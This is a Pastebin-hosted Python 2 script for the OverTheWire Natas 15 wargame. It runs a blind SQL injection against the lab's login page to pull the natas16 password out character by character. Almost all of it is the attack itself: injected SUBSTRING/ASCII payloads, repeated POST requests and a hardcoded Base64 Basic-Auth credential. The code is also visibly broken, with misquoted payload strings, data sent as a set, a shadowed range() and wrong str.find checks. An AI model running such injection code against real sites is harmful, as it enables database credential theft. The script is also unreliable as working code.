Advertisement
Guest User

Untitled

a guest
Mar 31st, 2018
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.78 KB | None | 0 0
  1. #########################
  2. # ASCII TABLE
  3. # '0' -> 48, '9' -> 57
  4. # 'A' -> 65, 'Z' -> 90
  5. # 'a' -> 97, 'z' -> 122
  6. #########################
  7.  
  8. #############################
  9. # Imports
  10.  
  11. import os
  12. import sys
  13. import requests
  14.  
  15. #############################
  16. # Global Variables
  17.  
  18. bruteforced_password=""
  19. password_length=32
  20. current_password_character_index=1
  21. password_character_iterate=''
  22.  
  23. # 1 -> 0 to 9, 2 -> A to Z, 3 -> a to z
  24. current_range=1
  25.  
  26. # Result Strings
  27. result_string_true="This user exists."
  28. result_string_false="This user doesn't exist."
  29. result_string_error="Error in query."
  30.  
  31.  
  32. http_sql_injection_username_parameter_string=""
  33. http_request=""
  34. http_response=""
  35.  
  36. #############################
  37. # Functions
  38.  
  39. # Function to set http string
  40. def set_http_string ( mode, character ):
  41. global http_sql_injection_username_parameter_string
  42.  
  43. # Mode 1 -> Equal, Mode 2 -> More or Equal, Mode 3 -> Less or Equal
  44. if ( mode == 1):
  45. http_sql_injection_username_parameter_string="natas16\" and ascii(substring((SELECT password from users where username=\"natas16\"),' + str(current_password_character_index) + ',1))=' + str(ord(character)) + ' and password like \"%"
  46. elif ( mode == 2):
  47. http_sql_injection_username_parameter_string="natas16\" and ascii(substring((SELECT password from users where username=\"natas16\"),' + str(current_password_character_index) + ',1))>=' + str(ord(character)) + ' and password like \"%"
  48. else:
  49. http_sql_injection_username_parameter_string="natas16\" and ascii(substring((SELECT password from users where username=\"natas16\"),' + str(current_password_character_index) + ',1))<=' + str(ord(character)) + ' and password like \"%"
  50.  
  51. return
  52.  
  53. # Function to Get Range
  54. # Return 1 for 0-9, 2 for A-Z, 3 for a-z, 4 for error
  55. def Get_Range ():
  56. global http_sql_injection_username_parameter_string
  57. global http_request
  58. global http_response
  59.  
  60. # Get the range, through less than or equals#
  61. # Check if character is within 0-9
  62. set_http_string(3, '9')
  63. print 'bobo'
  64. print http_sql_injection_username_parameter_string
  65.  
  66. http_request = requests.post('http://natas15.natas.labs.overthewire.org/index.php', headers = {'Authorization': 'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}, data = {'username', http_sql_injection_username_parameter_string})
  67. http_response = http_request.text
  68.  
  69. # If it is within 0-9
  70. if http_response.find(result_string_true):
  71. return 1
  72. elif http_response.find(result_string_error):
  73. return 4
  74.  
  75. # Check if character is within A-Z
  76. set_http_string(3, 'Z')
  77. http_request = requests.post('http://natas15.natas.labs.overthewire.org/index.php', headers={'Authorization:': 'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}, data={'username', http_sql_injection_username_parameter_string})
  78. http_response = http_request.text
  79.  
  80. # If it is within A-Z
  81. if http_response.find(result_string_true):
  82. return 2
  83. elif http_response.find(result_string_error):
  84. return 4
  85.  
  86. # Check if character is within a-z
  87. set_http_string(3, 'z')
  88. http_request = requests.post('http://natas15.natas.labs.overthewire.org/index.php', headers={'Authorization:': 'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}, data={'username', http_sql_injection_username_parameter_string})
  89. http_response = http_request.text
  90.  
  91. # If it is within a-z
  92. if http_response.find(result_string_true):
  93. return 3
  94. elif http_response.find(result_string_error):
  95. return 4
  96.  
  97. return 0
  98.  
  99. # Function to Brute Force Password
  100. def BruteForcePassword ( range ):
  101. BruteForcePassword_Password_Character=''
  102. # Range is 0-9
  103. if range==1:
  104. for code in range(ord('0'), ord('9') + 1):
  105. if Check_HTTP_Character(chr(code))==0:
  106. BruteForcePassword_Password_Character = chr(code)
  107.  
  108. # Range is A-Z
  109. elif range==2:
  110. for code in range(ord('A'), ord('Z') + 1):
  111. if Check_HTTP_Character(chr(code))==0:
  112. BruteForcePassword_Password_Character = chr(code)
  113.  
  114. # Range is a-z
  115. elif range==3:
  116. for code in range(ord('a'), ord('z') + 1):
  117. if Check_HTTP_Character(chr(code))==0:
  118. BruteForcePassword_Password_Character = chr(code)
  119.  
  120. return BruteForcePassword_Password_Character
  121.  
  122. # Function to Check HTTP Character
  123. # [Returns] 0 -> Correct Character, 1 -> False Character, 2 -> Error in SQL Query
  124. def Check_HTTP_Character ( Check_HTTP_Character_character ):
  125. global http_sql_injection_username_parameter_string
  126. global http_request
  127. global http_response
  128.  
  129. set_http_string(1, Check_HTTP_Character_character)
  130. http_request = requests.post('http://natas15.natas.labs.overthewire.org/index.php', headers={'Authorization:': 'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}, data={'username', http_sql_injection_username_parameter_string})
  131. http_response = http_request.text
  132.  
  133. if http_request.find(result_string_true):
  134. return 0
  135. elif http_request.find(result_string_false):
  136. return 1
  137. else:
  138. print 'Error in SQL Query...'
  139. exit()
  140.  
  141.  
  142. ###############################
  143. # Main Function
  144.  
  145. while (current_password_character_index<=32):
  146.  
  147. # Call Get Range Function, 0 -> This shouldnt be returned, 1 -> 0-9, 2 -> A-Z, 3 -> a-z, 4-> error in sql query
  148. current_range = Get_Range()
  149.  
  150. # Error Code 0
  151. if current_range==0:
  152. print 'Program should not return this...'
  153. break
  154. # Range is 0-9 or Range is A-Z or Range is a-z
  155. elif current_range==1 or current_range==2 or current_range==3:
  156. Password_Character = BruteForcePassword(current_range)
  157. bruteforced_password=bruteforced_password+Password_Character
  158. # Error in SQL Query
  159. elif current_range==4:
  160. print 'Error in SQL Query'
  161. break
  162.  
  163. print 'Loop Count: ' + str(current_password_character_index)
  164. print 'Current Brute Forced Password: ' + bruteforced_password
  165.  
  166. current_password_character_index+=1
  167.  
  168. print 'Password for natas16 is ' + bruteforced_password
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement